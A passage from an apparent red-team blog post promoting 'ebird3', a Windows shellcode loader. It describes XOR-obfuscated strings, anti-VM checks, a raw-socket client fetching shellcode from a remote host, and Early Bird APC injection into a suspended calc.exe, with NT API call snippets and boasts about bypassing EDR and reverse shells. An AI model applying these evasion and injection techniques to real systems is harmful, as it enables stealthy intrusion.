font-family: medium-content-sans-serif-font, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; list-style: none none; margin: 0px; padding: 0px;"&gt;&lt;li class="mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz ne nf ng bk" data-selectable-paragraph="" id="32a6" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 2.14em; padding-left: 0px;"&gt;A red teamer who just spent 4 hours trying to make&amp;nbsp;&lt;code class="cx nh ni nj nk b" style="background-color: #f2f2f2; box-sizing: inherit; font-family: source-code-pro, Menlo, Monaco, &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: 15px; padding: 2px 4px;"&gt;notepad.exe&lt;/code&gt;&amp;nbsp;whisper secrets in Morse code,&lt;/li&gt;&lt;li class="mc md fr me b mf nl mh mi mj nm ml mm mn nn mp mq mr no mt mu mv np mx my mz ne nf ng bk" data-selectable-paragraph="" id="975b" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 1.14em; padding-left: 0px;"&gt;A blue teamer who found&amp;nbsp;&lt;code class="cx nh ni nj nk b" style="background-color: #f2f2f2; box-sizing: inherit; font-family: source-code-pro, Menlo, Monaco, &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: 15px; padding: 2px 4px;"&gt;calc.exe&lt;/code&gt;&amp;nbsp;establishing a TLS connection to Antarctica and now questions the nature of reality,&lt;/li&gt;&lt;li class="mc md fr me b mf nl mh mi mj nm ml mm mn nn mp mq mr no mt mu mv np mx my mz ne nf ng bk" data-selectable-paragraph="" id="ffe3" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 1.14em; padding-left: 0px;"&gt;Or someone who Googled “how to make Windows do the robot” and ended up here.&lt;br style="box-sizing: inherit;" /&gt;&lt;em class="na" style="box-sizing: inherit;"&gt;(Spoiler: It’s easier than you think. And yes, the robot dance is included in the shellcode.)&lt;/em&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="cdf4" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;Welcome to LazyOwn RedTeam™, where we don’t break systems — we&amp;nbsp;&lt;em class="na" style="box-sizing: inherit;"&gt;educate&lt;/em&gt;&amp;nbsp;them into submission.&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="eb64" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;Today, we’re unveiling ebird3 — my latest love letter to the Windows kernel, written in C, compiled with rage, and delivered via a technique so elegant, even your grandma’s antivirus won’t see it coming.&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="7b23" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;And yes — there’s a surprise at the end.&lt;br style="box-sizing: inherit;" /&gt;Spoiler: It involves a calculator.&lt;br style="box-sizing: inherit;" /&gt;Bigger spoiler: The calculator is now a reverse shell.&lt;br style="box-sizing: inherit;" /&gt;Even bigger spoiler: It’s&amp;nbsp;&lt;em class="na" style="box-sizing: inherit;"&gt;still&lt;/em&gt;&amp;nbsp;faster than your company’s IT ticket system.&lt;/p&gt;&lt;h1 class="nq nr fr bf ns nt nu nv nw nx ny nz oa ob oc od oe of og oh oi oj ok ol om on bk" data-selectable-paragraph="" id="6abd" style="background-color: white; box-sizing: inherit; color: #242424; font-family: sohne, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 24px; letter-spacing: -0.016em; line-height: 30px; margin: 1.95em 0px -0.28em;"&gt;&#128035; What Is Early Bird APC Injection? (Or: “How to Hijack a Process Before It Even Wakes Up”)&lt;/h1&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf oo mh mi mj op ml mm mn oq mp mq mr or mt mu mv os mx my mz fk bk" data-selectable-paragraph="" id="71e4" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 0.94em 0px -0.46em; word-break: break-word;"&gt;Imagine this: You create a new process — say,&amp;nbsp;&lt;code class="cx nh ni nj nk b" style="background-color: #f2f2f2; box-sizing: inherit; font-family: source-code-pro, Menlo, Monaco, &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: 15px; padding: 2px 4px;"&gt;calc.exe&lt;/code&gt;. But before it even opens its eyes, before it checks its email, before it mutters “Why am I always the target?”—you sneak in, inject your shellcode directly into its thread, queue an Asynchronous Procedure Call (APC), and&amp;nbsp;&lt;em class="na" style="box-sizing: inherit;"&gt;then&lt;/em&gt;&amp;nbsp;let it wake up.&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="1e79" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;It’s like sneaking into someone’s house, redecorating it as a spy lair, and then gently shaking them awake saying, “Surprise! You’re a cyber-agent now.”&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="d062" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;This is Early Bird APC Injection — a stealthy, native, and&amp;nbsp;&lt;em class="na" style="box-sizing: inherit;"&gt;gloriously&lt;/em&gt;&amp;nbsp;underrated technique that bypasses most userland hooks because the process never runs its original code. It’s born&amp;nbsp;&lt;em class="na" style="box-sizing: inherit;"&gt;already compromised&lt;/em&gt;.&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="5c83" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;And ebird3?&lt;br style="box-sizing: inherit;" /&gt;It’s not just a tool.&lt;br style="box-sizing: inherit;" /&gt;It’s a cybernetic assassin with string obfuscation, anti-VM checks, and a HTTP client that doesn’t rely on&amp;nbsp;&lt;code class="cx nh ni nj nk b" style="background-color: #f2f2f2; box-sizing: inherit; font-family: source-code-pro, Menlo, Monaco, &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: 15px; padding: 2px 4px;"&gt;WinINet&lt;/code&gt;—because why use the front door when you can tunnel through the basement?&lt;/p&gt;&lt;h1 class="nq nr fr bf ns nt nu nv nw nx ny nz oa ob oc od oe of og oh oi oj ok ol om on bk" data-selectable-paragraph="" id="3175" style="background-color: white; box-sizing: inherit; color: #242424; font-family: sohne, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 24px; letter-spacing: -0.016em; line-height: 30px; margin: 1.95em 0px -0.28em;"&gt;&#128295; How ebird3 Works: A Ballet of NT API Calls and Digital Deception&lt;/h1&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf oo mh mi mj op ml mm mn oq mp mq mr or mt mu mv os mx my mz fk bk" data-selectable-paragraph="" id="4fe0" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 0.94em 0px -0.46em; word-break: break-word;"&gt;Let me walk you through the&amp;nbsp;&lt;em class="na" style="box-sizing: inherit;"&gt;graceful violence&lt;/em&gt;&amp;nbsp;of&amp;nbsp;&lt;code class="cx nh ni nj nk b" style="background-color: #f2f2f2; box-sizing: inherit; font-family: source-code-pro, Menlo, Monaco, &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: 15px; padding: 2px 4px;"&gt;ebird3&lt;/code&gt;:&lt;/p&gt;&lt;h1 class="nq nr fr bf ns nt nu nv nw nx ny nz oa ob oc od oe of og oh oi oj ok ol om on bk" data-selectable-paragraph="" id="1558" style="background-color: white; box-sizing: inherit; color: #242424; font-family: sohne, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 24px; letter-spacing: -0.016em; line-height: 30px; margin: 1.95em 0px -0.28em;"&gt;1. String Obfuscation: “I Can’t See You, You Can’t See Me”&lt;/h1&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf oo mh mi mj op ml mm mn oq mp mq mr or mt mu mv os mx my mz fk bk" data-selectable-paragraph="" id="a3e1" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 0.94em 0px -0.46em; word-break: break-word;"&gt;All strings — URL, process path, User-Agent — are XOR-encoded at compile time with a user-defined key (default:&amp;nbsp;&lt;code class="cx nh ni nj nk b" style="background-color: #f2f2f2; box-sizing: inherit; font-family: source-code-pro, Menlo, Monaco, &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: 15px; padding: 2px 4px;"&gt;0x33&lt;/code&gt;, because why not).&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="fecf" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;unsigned char OBF_SHELLCODE_URL[] = { 0x12, 0x34, … }; // “http://192.168.1.100/shellcode.txt” but cooler&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="1b7c" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;At runtime, they’re decoded in memory — never touching disk in plaintext.&lt;br style="box-sizing: inherit;" /&gt;Because real hackers don’t leave IOCs. They&amp;nbsp;&lt;em class="na" style="box-sizing: inherit;"&gt;are&lt;/em&gt;&amp;nbsp;the IOC.&lt;/p&gt;&lt;h1 class="nq nr fr bf ns nt nu nv nw nx ny nz oa ob oc od oe of og oh oi oj ok ol om on bk" data-selectable-paragraph="" id="4c06" style="background-color: white; box-sizing: inherit; color: #242424; font-family: sohne, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 24px; letter-spacing: -0.016em; line-height: 30px; margin: 1.95em 0px -0.28em;"&gt;2. Anti-Analysis: “No Sandboxes Allowed”&lt;/h1&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf oo mh mi mj op ml mm mn oq mp mq mr or mt mu mv os mx my mz fk bk" data-selectable-paragraph="" id="7927" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 0.94em 0px -0.46em; word-break: break-word;"&gt;Before doing&amp;nbsp;&lt;em class="na" style="box-sizing: inherit;"&gt;anything&lt;/em&gt;,&amp;nbsp;&lt;code class="cx nh ni nj nk b" style="background-color: #f2f2f2; box-sizing: inherit; font-family: source-code-pro, Menlo, Monaco, &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: 15px; padding: 2px 4px;"&gt;ebird3&lt;/code&gt;&amp;nbsp;checks the BIOS version in the registry:&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="5a53" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="592b" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;If it sees VMWARE, VBOX, QEMU, or XEN?&lt;br style="box-sizing: inherit;" /&gt;Game over. Exits silently.&lt;br style="box-sizing: inherit;" /&gt;No crash. No log. Just&amp;nbsp;&lt;em class="na" style="box-sizing: inherit;"&gt;poof&lt;/em&gt;&amp;nbsp;— like a ghost who read the room and decided it wasn’t cool enough.&lt;/p&gt;&lt;h1 class="nq nr fr bf ns nt nu nv nw nx ny nz oa ob oc od oe of og oh oi oj ok ol om on bk" data-selectable-paragraph="" id="de13" style="background-color: white; box-sizing: inherit; color: #242424; font-family: sohne, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 24px; letter-spacing: -0.016em; line-height: 30px; margin: 1.95em 0px -0.28em;"&gt;3. Manual HTTP Client: “I Don’t Need WinHTTP. I Am the Web.”&lt;/h1&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf oo mh mi mj op ml mm mn oq mp mq mr or mt mu mv os mx my mz fk bk" data-selectable-paragraph="" id="ac00" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 0.94em 0px -0.46em; word-break: break-word;"&gt;Forget&amp;nbsp;&lt;code class="cx nh ni nj nk b" style="background-color: #f2f2f2; box-sizing: inherit; font-family: source-code-pro, Menlo, Monaco, &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: 15px; padding: 2px 4px;"&gt;WinINet&lt;/code&gt;. Forget&amp;nbsp;&lt;code class="cx nh ni nj nk b" style="background-color: #f2f2f2; box-sizing: inherit; font-family: source-code-pro, Menlo, Monaco, &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: 15px; padding: 2px 4px;"&gt;curl&lt;/code&gt;.&lt;br style="box-sizing: inherit;" /&gt;&lt;code class="cx nh ni nj nk b" style="background-color: #f2f2f2; box-sizing: inherit; font-family: source-code-pro, Menlo, Monaco, &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: 15px; padding: 2px 4px;"&gt;ebird3&lt;/code&gt;&amp;nbsp;uses raw WinSock to:&lt;/p&gt;&lt;ul class="" style="background-color: white; box-sizing: inherit; color: rgba(0, 0, 0, 0.8); font-family: medium-content-sans-serif-font, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; list-style: none none; margin: 0px; padding: 0px;"&gt;&lt;li class="mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz ne nf ng bk" data-selectable-paragraph="" id="12c2" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 2.14em; padding-left: 0px;"&gt;Resolve the host&lt;/li&gt;&lt;li class="mc md fr me b mf nl mh mi mj nm ml mm mn nn mp mq mr no mt mu mv np mx my mz ne nf ng bk" data-selectable-paragraph="" id="7edc" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 1.14em; padding-left: 0px;"&gt;Connect via TCP&lt;/li&gt;&lt;li class="mc md fr me b mf nl mh mi mj nm ml mm mn nn mp mq mr no mt mu mv np mx my mz ne nf ng bk" data-selectable-paragraph="" id="0185" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 1.14em; padding-left: 0px;"&gt;Send a minimal HTTP&amp;nbsp;&lt;code class="cx nh ni nj nk b" style="background-color: #f2f2f2; box-sizing: inherit; font-family: source-code-pro, Menlo, Monaco, &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: 15px; padding: 2px 4px;"&gt;GET&lt;/code&gt;&amp;nbsp;request&lt;/li&gt;&lt;li class="mc md fr me b mf nl mh mi mj nm ml mm mn nn mp mq mr no mt mu mv np mx my mz ne nf ng bk" data-selectable-paragraph="" id="8bf1" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 1.14em; padding-left: 0px;"&gt;Parse the response body&lt;/li&gt;&lt;li class="mc md fr me b mf nl mh mi mj nm ml mm mn nn mp mq mr no mt mu mv np mx my mz ne nf ng bk" data-selectable-paragraph="" id="3332" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 1.14em; padding-left: 0px;"&gt;Extract&amp;nbsp;&lt;code class="cx nh ni nj nk b" style="background-color: #f2f2f2; box-sizing: inherit; font-family: source-code-pro, Menlo, Monaco, &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: 15px; padding: 2px 4px;"&gt;\xNN\xNN...&lt;/code&gt;&amp;nbsp;shellcode&lt;/li&gt;&lt;li class="mc md fr me b mf nl mh mi mj nm ml mm mn nn mp mq mr no mt mu mv np mx my mz ne nf ng bk" data-selectable-paragraph="" id="da44" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 1.14em; padding-left: 0px;"&gt;XOR-decrypt it on the fly&lt;/li&gt;&lt;/ul&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="073c" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;All without a single external dependency.&lt;br style="box-sizing: inherit;" /&gt;It’s like building a spaceship out of duct tape and spite.&lt;/p&gt;&lt;h1 class="nq nr fr bf ns nt nu nv nw nx ny nz oa ob oc od oe of og oh oi oj ok ol om on bk" data-selectable-paragraph="" id="83e7" style="background-color: white; box-sizing: inherit; color: #242424; font-family: sohne, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 24px; letter-spacing: -0.016em; line-height: 30px; margin: 1.95em 0px -0.28em;"&gt;4. Early Bird APC: The Injection&lt;/h1&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf oo mh mi mj op ml mm mn oq mp mq mr or mt mu mv os mx my mz fk bk" data-selectable-paragraph="" id="183e" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 0.94em 0px -0.46em; word-break: break-word;"&gt;Here’s the&amp;nbsp;&lt;em class="na" style="box-sizing: inherit;"&gt;chef’s kiss&lt;/em&gt;:&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="9336" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;1. CreateProcessA(“calc.exe”, …, CREATE_SUSPENDED); // Nap time, little process&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="7ed5" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;2. NtAllocateVirtualMemory(hProcess, &amp;amp;mem, 0, &amp;amp;size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="815b" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;3. NtWriteVirtualMemory(hProcess, mem, shellcode, len, NULL); // Drop the payload&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="051a" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;4. NtQueueApcThread(hThread, (PAPCFUNC)mem, NULL, NULL, NULL); // “Hey thread, when you wake up… do THIS”&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="f9c0" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;5. ResumeThread(hThread); // *snap* Wakey wakey, eggs and payload&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="e26c" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;No&amp;nbsp;&lt;code class="cx nh ni nj nk b" style="background-color: #f2f2f2; box-sizing: inherit; font-family: source-code-pro, Menlo, Monaco, &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: 15px; padding: 2px 4px;"&gt;WriteProcessMemory&lt;/code&gt;? No&amp;nbsp;&lt;code class="cx nh ni nj nk b" style="background-color: #f2f2f2; box-sizing: inherit; font-family: source-code-pro, Menlo, Monaco, &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: 15px; padding: 2px 4px;"&gt;CreateRemoteThread&lt;/code&gt;?&lt;br style="box-sizing: inherit;" /&gt;Because those are for amateurs.&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="ce3b" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;We’re using NT Native API calls from&amp;nbsp;&lt;code class="cx nh ni nj nk b" style="background-color: #f2f2f2; box-sizing: inherit; font-family: source-code-pro, Menlo, Monaco, &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: 15px; padding: 2px 4px;"&gt;ntdll.dll&lt;/code&gt;—bypassing EDR userland hooks like a ghost through walls.&lt;/p&gt;&lt;p class="pw-post-body-paragraph mc md fr me b mf mg mh mi mj mk ml mm mn mo mp mq mr ms mt mu mv mw mx my mz fk bk" data-selectable-paragraph="" id="526d" style="background-color: white; box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; margin: 2.14em 0px -0.46em; word-break: break-word;"&gt;And since the APC executes&amp;nbsp;&lt;em class="na" style="box-sizing: inherit;"&gt;before&lt;/em&gt;&amp;nbsp;the main thread starts, no hook can catch it.&lt;br style="box-sizing: inherit;" /&gt;It’s not&amp;nbsp;&lt;em class="na" style="box-sizing: inherit;"&gt;evasion&lt;/em&gt;.&lt;br style="box-sizing: inherit;" /&gt;It’s invisibility.&lt;/p&gt;&lt;h1 class="nq nr fr bf ns nt nu nv nw nx ny nz oa ob oc od oe of og oh oi oj ok ol om on bk" data-selectable-paragraph="" id="d16a" style="background-color: white; box-sizing: inherit; color: #242424; font-family: sohne, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 24px; letter-spacing: -0.016em; line-height: 30px; margin: 1.95em 0px -0.28em;"&gt;&#128736;️ Why ebird3 Is the Swiss Army Knife of Ethical Evil&lt;/h1&gt;&lt;ul class="" style="background-color: white; box-sizing: inherit; color: rgba(0, 0, 0, 0.8); font-family: medium-content-sans-serif-font, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; list-style: none none; margin: 0px; padding: 0px;"&gt;&lt;li class="mc md fr me b mf oo mh mi mj op ml mm mn oq mp mq mr or mt mu mv os mx my mz ne nf ng bk" data-selectable-paragraph="" id="f152" style="box-sizing: inherit; color: #242424; font-family: source-serif-pro, Georgia, Cambria, &amp;quot;Times New Roman&amp;quot;, Times, serif; font-size: 20px; letter-spacing: -0.003em; line-height: 32px; list-style-type: disc; margin-bottom: -0.46em; margin-left: 30px; margin-top: 0.94em; padding-left: 0px;"&gt;✅ No Dependencies — Just&amp;nbsp;&lt;code class="cx nh ni nj nk b" style="background-color: #f2f2f2; box-sizing: inherit; font-family: source-code-pro, Menlo, Monaco, &amp;quot;Courier New&amp;quot;, Courier, monospace; font-size: 15px; padding: 2px 